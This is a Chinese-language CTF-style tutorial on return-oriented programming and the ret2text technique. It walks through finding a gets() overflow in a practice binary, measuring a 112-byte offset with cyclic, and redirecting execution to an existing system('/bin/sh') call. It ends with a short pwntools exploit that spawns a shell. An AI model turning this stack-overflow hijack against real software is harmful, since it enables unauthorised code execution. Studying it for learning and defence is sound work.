ROP-Ret2Text

ROP-Ret2Text

0x01 基础知识

ROP:

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码(资料来源于网络)。

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:

  1. 程序存在溢出,并且可以控制返回地址。

  2. 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

一个程序本质上都是由 bss段、data段、text段三个组成的。

bss段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域。

data段(data segment)通常是指用来存放程序中已初始化的全局变量的一块内存区域。

text段(code segment/text segment)通常是指用来存放程序执行代码的一块内存区域。

Ret2text:

ret2text 即控制程序执行程序本身已有的的代码(.text)。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

Ret2text-做什么:

问题解析:

控制返回地址 ->> 控制执行流程

溢出到返回地址 ->> 到底要输入多少数据

实际操作:

1、找溢出点
2、确定溢出偏移
3、找system函数
4、写exp

快速确定偏移:

offset

pwndbg:

cyclic 200
Cyclic –l 地址

peda:

pattern create 200
Pattern offset 地址

查找system函数:

 objdump -t xxx 查看程序中使用到的函数
 objdump -d xxx 查看程序中函数的汇编代码(-M intel)
 objdump -d –j  xxx

-j的参数有: 
            .text  - 代码段
            .const - 只读数据段(有些编译器不使用此段,将只读数据并入.data段)
            .data - 读写数据段
            .bss - bss段
            .plt - 查看plt表

0x02 环境

ubuntu 16.04

0x03 实验

首先,拿到一个文件(文件名为ret2text),先来使用file命令看一下它是什么类型的:

file

可以看到是32位ELF可执行文件,intel架构等。

之后使用objdump -t ret2text命令简单看下它有哪些函数:

objdump

可以看到有main函数和secure函数等。

接着使用objdump -d -M intel ret2text命令看下汇编代码:

main

可以看到main函数中使用了puts、gets、printf等,这里想到可以利用gets来进行溢出。

现在再找一下system函数,使用命令:

objdump -d -M intel ret2text | grep system

system

发现是有这个函数的,根据查找出来的这个地址(0x8048641)再在上一步的反汇编代码中查看它具体位于哪个函数中:

d_system

发现它是位于secure函数中,要想调用它我们还要看下它的参数,这时我们要在它的上方去找,先看下它的上一行中“0x8048763”这个值是什么内容,启动gdb,输入x/s 0x8048763看下它的值:

bin/sh

可以看到它的值为“bin/sh”,所以它的地址才是我们真正需要的,而不是那个call system的地址。

知道了要返回的地址,我们现在要确定偏移,这里使用cyclic命令先生成一些垃圾数据:

cyclic

接着运行程序,将这些垃圾数据输入进去然后回车,得到一个地址:

invalid_addr

然后使用命令cyclic -l 地址得到偏移:

cyclic_l

可以看到偏移为112。
到此我们已经知道了返回地址和偏移,现在就可以编写exp了,如下所示:

from pwn import*

p = process('./ret2text')
offset = 112
payload = 'a'*112 + p32(0x804863a)
p.sendline(payload)
p.interactive()

最后运行一下,成功getshell:

exp